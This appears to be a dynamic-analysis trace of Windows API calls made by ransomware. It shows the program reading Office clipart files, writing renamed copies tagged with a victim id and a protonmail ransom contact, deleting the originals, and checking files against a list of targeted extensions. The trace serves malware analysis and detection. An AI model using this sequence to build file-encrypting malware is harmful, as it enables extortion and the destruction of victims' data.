	[0177.963] lstrlenW (lpString="J0107364.WMF") returned 12
	[0177.963] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107364.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0177.964] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=16588) returned 1
	[0177.964] CloseHandle (hObject=0x544) returned 1
	[0177.964] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107364.wmf")) returned 0x220
	[0177.964] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107364.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0177.964] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107364.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0177.965] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.965] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.965] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107364.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558
	[0177.966] GetLastError () returned 0x0
	[0177.966] ReadFile (in: hFile=0x544, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x40cc, lpOverlapped=0x0) returned 1
	[0177.982] WriteFile (in: hFile=0x558, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0x40d0, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0x40d0, lpOverlapped=0x0) returned 1
	[0177.987] ReadFile (in: hFile=0x544, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0177.988] WriteFile (in: hFile=0x558, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0xec, lpOverlapped=0x0) returned 1
	[0177.988] SetEndOfFile (hFile=0x558) returned 1
	[0178.029] CloseHandle (hObject=0x558) returned 1
	[0178.029] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.029] SetEndOfFile (hFile=0x544) returned 1
	[0178.047] CloseHandle (hObject=0x544) returned 1
	[0178.047] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0178.048] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107364.wmf")) returned 1
	[0178.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF") returned 68
	[0178.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF") returned 68
	[0178.049] lstrlenW (lpString=".doc") returned 4
	[0178.049] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0178.050] lstrlenW (lpString=".docx") returned 5
	[0178.050] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0178.050] lstrlenW (lpString=".pdf") returned 4
	[0178.050] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0178.050] lstrlenW (lpString=".xls") returned 4
	[0178.050] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0178.050] lstrlenW (lpString=".xlsx") returned 5
	[0178.050] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0178.050] lstrlenW (lpString=".ppt") returned 4
	[0178.050] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0178.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF") returned 68
	[0178.050] lstrlenW (lpString=".zip") returned 4
	[0178.050] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0178.050] lstrlenW (lpString=".rar") returned 4
	[0178.050] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0178.050] lstrlenW (lpString=".bz2") returned 4
	[0178.050] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0178.051] lstrlenW (lpString=".7z") returned 3
	[0178.051] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0178.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF") returned 68
	[0178.051] lstrlenW (lpString=".dbf") returned 4
	[0178.051] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0178.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF") returned 68
	[0178.051] lstrlenW (lpString=".1cd") returned 4
	[0178.051] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0178.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF") returned 68
	[0178.051] lstrlenW (lpString=".jpg") returned 4
	[0178.051] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0178.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF") returned 68
	[0178.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF") returned 68
	[0178.051] lstrlenW (lpString=".doc") returned 4
	[0178.051] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0178.051] lstrlenW (lpString=".docx") returned 5
	[0178.051] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0178.051] lstrlenW (lpString=".pdf") returned 4
	[0178.051] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0178.051] lstrlenW (lpString=".xls") returned 4
	[0178.051] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0178.052] lstrlenW (lpString=".xlsx") returned 5
	[0178.052] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0178.052] lstrlenW (lpString=".ppt") returned 4
	[0178.052] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0178.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF") returned 68
	[0178.052] lstrlenW (lpString=".zip") returned 4
	[0178.052] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0178.052] lstrlenW (lpString=".rar") returned 4
	[0178.052] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0178.052] lstrlenW (lpString=".bz2") returned 4
	[0178.052] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0178.052] lstrlenW (lpString=".7z") returned 3
	[0178.052] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0178.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF") returned 68
	[0178.052] lstrlenW (lpString=".dbf") returned 4
	[0178.052] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0178.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF") returned 68
	[0178.052] lstrlenW (lpString=".1cd") returned 4
	[0178.052] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0178.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF") returned 68
	[0178.052] lstrlenW (lpString=".jpg") returned 4
	[0178.052] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0178.053] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0178.053] lstrlenW (lpString="J0107446.WMF") returned 12
	[0178.053] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107446.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0178.463] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=30336) returned 1
	[0178.463] CloseHandle (hObject=0x344) returned 1
	[0178.463] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107446.wmf")) returned 0x220
	[0178.463] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107446.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0178.466] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107446.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0178.467] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.467] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.467] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107446.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0178.470] GetLastError () returned 0x0
	[0178.470] ReadFile (in: hFile=0x344, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x7680, lpOverlapped=0x0) returned 1
	[0178.795] WriteFile (in: hFile=0x548, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0x7690, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0x7690, lpOverlapped=0x0) returned 1
	[0178.797] ReadFile (in: hFile=0x344, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0178.797] WriteFile (in: hFile=0x548, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0xec, lpOverlapped=0x0) returned 1
	[0178.798] SetEndOfFile (hFile=0x548) returned 1
	[0178.798] CloseHandle (hObject=0x548) returned 1
	[0178.798] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.798] SetEndOfFile (hFile=0x344) returned 1
	[0178.803] CloseHandle (hObject=0x344) returned 1
	[0178.803] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0178.804] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107446.wmf")) returned 1
	[0178.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF") returned 68
	[0178.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF") returned 68
	[0178.805] lstrlenW (lpString=".doc") returned 4
	[0178.805] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0178.805] lstrlenW (lpString=".docx") returned 5
	[0178.805] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0178.805] lstrlenW (lpString=".pdf") returned 4
	[0178.805] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0178.805] lstrlenW (lpString=".xls") returned 4
	[0178.805] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0178.805] lstrlenW (lpString=".xlsx") returned 5
	[0178.805] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0178.806] lstrlenW (lpString=".ppt") returned 4
	[0178.806] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0178.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF") returned 68
	[0178.806] lstrlenW (lpString=".zip") returned 4
	[0178.806] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0178.806] lstrlenW (lpString=".rar") returned 4
	[0178.806] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0178.806] lstrlenW (lpString=".bz2") returned 4
	[0178.806] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0178.806] lstrlenW (lpString=".7z") returned 3
	[0178.806] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0178.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF") returned 68
	[0178.806] lstrlenW (lpString=".dbf") returned 4
	[0178.806] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0178.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF") returned 68
	[0178.806] lstrlenW (lpString=".1cd") returned 4
	[0178.806] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0178.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF") returned 68
	[0178.806] lstrlenW (lpString=".jpg") returned 4
	[0178.806] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0178.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF") returned 68
	[0178.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF") returned 68
	[0178.806] lstrlenW (lpString=".doc") returned 4
	[0178.806] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0178.807] lstrlenW (lpString=".docx") returned 5
	[0178.807] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0178.807] lstrlenW (lpString=".pdf") returned 4
	[0178.807] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0178.807] lstrlenW (lpString=".xls") returned 4
	[0178.807] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0178.807] lstrlenW (lpString=".xlsx") returned 5
	[0178.807] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0178.807] lstrlenW (lpString=".ppt") returned 4
	[0178.807] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0178.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF") returned 68
	[0178.807] lstrlenW (lpString=".zip") returned 4
	[0178.807] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0178.807] lstrlenW (lpString=".rar") returned 4
	[0178.807] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0178.807] lstrlenW (lpString=".bz2") returned 4
	[0178.807] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0178.807] lstrlenW (lpString=".7z") returned 3
	[0178.807] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0178.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF") returned 68
	[0178.807] lstrlenW (lpString=".dbf") returned 4
	[0178.807] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0178.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF") returned 68
	[0178.807] lstrlenW (lpString=".1cd") returned 4
	[0178.807] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0178.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF") returned 68
	[0178.808] lstrlenW (lpString=".jpg") returned 4
	[0178.808] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0178.808] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0178.808] lstrlenW (lpString="J0107492.WMF") returned 12
	[0178.808] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107492.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0178.811] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=6860) returned 1
	[0178.811] CloseHandle (hObject=0x344) returned 1
	[0178.812] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107492.wmf")) returned 0x220
	[0178.812] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107492.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0178.812] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107492.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0178.813] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.813] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.813] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107492.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0178.815] GetLastError () returned 0x0
	[0178.815] ReadFile (in: hFile=0x344, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x1acc, lpOverlapped=0x0) returned 1
	[0178.855] WriteFile (in: hFile=0x548, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0x1ad0, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0x1ad0, lpOverlapped=0x0) returned 1
	[0178.857] ReadFile (in: hFile=0x344, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0178.857] WriteFile (in: hFile=0x548, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0xec, lpOverlapped=0x0) returned 1
	[0178.857] SetEndOfFile (hFile=0x548) returned 1
	[0178.862] CloseHandle (hObject=0x548) returned 1
	[0178.864] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.864] SetEndOfFile (hFile=0x344) returned 1
	[0178.884] CloseHandle (hObject=0x344) returned 1
	[0178.885] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0178.885] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107492.wmf")) returned 1
	[0178.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF") returned 68
	[0178.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF") returned 68
	[0178.887] lstrlenW (lpString=".doc") returned 4
	[0178.887] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0178.887] lstrlenW (lpString=".docx") returned 5
	[0178.887] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0178.887] lstrlenW (lpString=".pdf") returned 4
	[0178.887] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0178.887] lstrlenW (lpString=".xls") returned 4
	[0178.887] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0178.887] lstrlenW (lpString=".xlsx") returned 5
	[0178.887] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0178.887] lstrlenW (lpString=".ppt") returned 4
	[0178.887] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0178.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF") returned 68
	[0178.887] lstrlenW (lpString=".zip") returned 4
	[0178.887] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0178.887] lstrlenW (lpString=".rar") returned 4
	[0178.887] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0178.887] lstrlenW (lpString=".bz2") returned 4
	[0178.887] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0178.888] lstrlenW (lpString=".7z") returned 3
	[0178.888] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0178.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF") returned 68
	[0178.888] lstrlenW (lpString=".dbf") returned 4
	[0178.888] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0178.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF") returned 68
	[0178.888] lstrlenW (lpString=".1cd") returned 4
	[0178.888] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0178.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF") returned 68
	[0178.888] lstrlenW (lpString=".jpg") returned 4
	[0178.888] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0178.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF") returned 68
	[0178.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF") returned 68
	[0178.888] lstrlenW (lpString=".doc") returned 4
	[0178.888] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0178.888] lstrlenW (lpString=".docx") returned 5
	[0178.888] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0178.888] lstrlenW (lpString=".pdf") returned 4
	[0178.888] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0178.888] lstrlenW (lpString=".xls") returned 4
	[0178.888] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0178.888] lstrlenW (lpString=".xlsx") returned 5
	[0178.888] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0178.889] lstrlenW (lpString=".ppt") returned 4
	[0178.889] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0178.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF") returned 68
	[0178.889] lstrlenW (lpString=".zip") returned 4
	[0178.889] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0178.889] lstrlenW (lpString=".rar") returned 4
	[0178.889] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0178.889] lstrlenW (lpString=".bz2") returned 4
	[0178.889] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0178.889] lstrlenW (lpString=".7z") returned 3
	[0178.889] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0178.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF") returned 68
	[0178.889] lstrlenW (lpString=".dbf") returned 4
	[0178.889] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0178.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF") returned 68
	[0178.889] lstrlenW (lpString=".1cd") returned 4
	[0178.889] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0178.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF") returned 68
	[0178.889] lstrlenW (lpString=".jpg") returned 4
	[0178.889] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0178.889] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
